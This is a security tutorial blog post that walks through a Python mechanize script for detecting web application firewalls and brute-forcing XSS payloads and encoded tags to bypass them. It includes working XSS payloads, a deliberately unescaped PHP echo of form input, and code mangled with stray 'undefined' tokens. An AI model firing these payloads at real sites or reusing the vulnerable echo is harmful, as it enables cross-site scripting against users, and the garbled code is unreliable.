Web application firewalls are usually placed in front of the web
server to filter the malicious traffic coming towards server. If you are
hired as a penetration tester for some company and they forgot to tell
you that they are using web application firewall than you might get into
a serious mess. The figure below depicts the working of a simple web
application firewall:
As
you can see its like a wall between web traffic and web server, usually
now a days web application firewalls are signature based.
What is a signature based firewall?
In
a signature based firewall you define signatures, as you know web
attacks follow similar patters or signatures as well. So we can define
the matching patterns and block them, i.e.Payload :- <svg><script>alert`1`<p>The
payload defined above is a kind of cross site scripting attack, and we
know that all these attacks can contain following substring -> “<script>”,
so why don’t we define a signature that can block a web traffic if it
contains this sub string, we can define 2-3 signatures as defined below:
<script>
alert(*)
First
signature will block any request that contains
substring, and second one will block alert(any text). So, this is how
signature based firewall works.
How to know there is a firewall?
If
you are performing a penetration test and you didn’t know that there
was a firewall blocking the traffic than it can waste a lot of your
time, because most of the time your attack payloads are getting blocked
by the firewall not by your application code, and you might end up
thinking that the application you are testing have a secure good and is
good to go. So, it is a good idea to first test for web application
firewall presence before you start your penetration test.Most of
the firewalls today leave some tracks about them, now If you attack a
web application using the payload we defined above and get the following
response:HTTP/1.1 406 Not Acceptable
Date: Mon, 10 Jan 2016
Server: nginx
Content-Type: text/html; charset=iso-8859-1
Not Acceptable!Not Acceptable! An appropriate representation of the
requested resource could not be found on this server. This error was generated by Mod_Security.
You
can clearly see that your attack was blocked by the Mod_Security
firewall. In this article we will see how we can develop a simple python
script that can do this task detecting firewall and bypassing it.
Step 1: Define HTML Document and PHP Script!
We
will have to define our HTML document for injection of payload and
corresponding PHP script to handle the data. We have defined both of
them below.
We will be using the following HTML Document:
<html>
<body>
<form name=”waf” action=”waf.php” method=”post”>
Data: <input type=”text” name=”data”><br>
<input type=”submit” value=”Submit”>
</form>
</body>
</html>
PHP Script:
<html>
<body>
Data from the form : <?php echo $_POST[“data”]; ?><br>
</body>
</html>
Step 2: Prepare malicious request!
Our
second step towards detecting the firewall presence is creating a
malicious cross site scripting request that can be blocked by the
firewall. We will be using a python module called ‘Mechanize’, to know
more about this module please read the following article :
If
you already know about Mechanize, you can skip reading the article. Now
that you know about Mechanize, we can select the web form present on
any page and submit the request. Following code snippet can be used to
do that:
import mechanize as mec
maliciousRequest = mec.Browser()
formName=”waf”
maliciousRequest.open(“http://check.cyberpersons.com/crossSiteCheck.html”)
maliciousRequest.select_form(formName)
Lets discuss this code line wise:
On the first line we’ve imported the mechanize module and given it a short name ‘mec’ for later reference.
To
download a web page using mechanize, instantiation of browser is
required. We’ve just did that in the second line of the code.
On
the first step we’ve defined our HTML document, in which the form name
was ‘waf’, we need to tell mechanize to select this form for submission,
so we’ve this name in a variable called formName.
Than we
opened this url, just like we do in a browser. After the page gets
opened we fill in the form and submit data, so opening of page is same
here.
Finally we’ve selected the form using ‘select_form’ function passing it ‘formName’ variable.
As
you can see in the HTML source code, that this form have only one input
field, and we are going to inject our payload in that field and once we
receive response we’re going to inspect it for know strings to detect
the presence of the web application firewall.
Step 3: Prepare the payload
In our HTML document we’ve specified one input field using this code:
input type=”text” name=”data”>
You can see that name of this field is ‘data’, we can use following bit of code to define input for this field :crossSiteScriptingPayLoad = “<svg><script>alert`1`<p>”
maliciousRequest.form[‘data’] = crossSiteScriptingPayLoad
First line saves our payload in a variable.
In a second line of code, we’ve assigned our payload to a form field ‘data’.
We can now safely submit this form and inspect the response.
Step 4: Submit the form and record Response
Code I am going to mention after this line will submit the form and record the response:maliciousRequest.submit()
response = maliciousRequest.response().read()
print response
Submit the form.
Save the response in a variable.
Print the response back.
As I currently have no firewall installed, the response I got is :As
you can see that payload is printed back to us, means no filtering is
present on the application code and due to the absence of firewall our
request was also not blocked.
Step 5: Detect the Presence of firewall
Variable
named ‘response’ contains the response we got from server, we can use
the response to detect presence of firewall. We will try to detect the
presence of following firewalls in this tutorial.
WebKnight.
Mod_Security.
Dot Defender.
Let see how we can achieve this with python code:if response.find(‘WebKnight’) >= 0:
print “Firewall detected: WebKnight”
elif response.find(‘Mod_Security’) >= 0:
print “Firewall detected: Mod Security”
elif response.find(‘Mod_Security’) >= 0:
print “Firewall detected: Mod Security”
elif response.find(‘dotDefender’) >= 0:
print “Firewall detected: Dot Defender”
else:
print “No Firewall Present”
If Web Knight firewall is
installed and our request got blocked, response string will contain
‘WebKnight’ inside it some where, so find function will return value
greater than 0, that means WebKnight firewall is present. Similarly we
can check for other 2 firewalls as well.
We can extend this small application to detect for as many number of firewalls, but you must know there response behavior.
Using Brute force to bypass Firewall filter
I’ve
mentioned in the start of the article that mostly firewall these days
block requests based on signatures. But there are hundreds and thousands
of ways you can construct a payload. Java script is becoming complex
day by day, we can make a list of payloads, and try each of them, record
each response and check if we was able to bypass the firewall or not.
Please note that if firewall rules are well defined than this approach
might not work. Let see how we can brute force using python:listofPayloads = [‘<dialog open=”” onclose=”alertundefined1)”><form method=”dialog”><button>Close me!</button></form></dialog>’, ‘<svg><script>prompt&#40 1&#41<i>’, ‘<a href=”&#1;javascript:alertundefined1)”>CLICK ME<a>’]
for payLoads in listofPayloads:
maliciousRequest = mec.Browserundefined)
formName=”waf”
maliciousRequest.openundefined”http://check.cyberpersons.com/crossSiteCheck.html”)
maliciousRequest.select_formundefinedformName)
maliciousRequest.form[‘data’] = payLoads
maliciousRequest.submitundefined)
response = maliciousRequest.responseundefined).readundefined)
if response.findundefined’WebKnight’) >= 0:
print “Firewall detected: WebKnight”
elif response.findundefined’Mod_Security’) >= 0:
print “Firewall detected: Mod Security”
elif response.findundefined’Mod_Security’) >= 0:
print “Firewall detected: Mod Security”
elif response.findundefined’dotDefender’) >= 0:
print “Firewall detected: Dot Defender”
else:
print “No Firewall Present”
On the first line we’ve defined a list of 3 payloads, you can extend this list and add as many payloads as you require.
Then inside the for loop we did the same process we did above, but this time for each payload in a list.
Upon receiving response we again compare and see see if firewall is present on not.
As I’ve had no firewall installed, my output was:
Convert HTML Tags to Unicode or Hex Entities
If
for example firewall is filtering html tags like <, >. We can
send their corresponding Unicode or Hex Entities and see if they are
being converted to there original form, if so, than this could be an
entry point as well. Code below can be used to examine this process:listofPayloads = [‘<b>’,’\u003cb\u003e’,’\x3cb\x3e’]
for payLoads in listofPayloads:
maliciousRequest = mec.Browser()
formName=”waf”
maliciousRequest.open(“http://check.cyberpersons.com/crossSiteCheck.html”)
maliciousRequest.select_form(formName)
maliciousRequest.form[‘data’] = payLoads
maliciousRequest.submit()
response = maliciousRequest.response().read()
print “—————————————————”
print response
print “—————————————————”
Each
time we will send the encoded entry and in the response we will examine
if it got converted or printed back without conversion, when I ran this
code I got the this output :
Means none of the encoded entry got converted to its original form.
Conclusion
The
purpose of this article was to train you in advance so that you can
penetrate your firewall before a hacker can do. It is always a good
choice to self test your network infrastructure for vulnerabilities,
because our first concern always is to get our application up and
running and we overlook the security part. But it must not be over
looked, because later it can be a huge headache.
Complete source code can be downloaded from this link.Author Info:
Usman Nasir, founder, and author of Cyberpersons
is a Computer Science student. I also worked as a technical support
staff at various hosting companies and love to write about Linux and web
application security.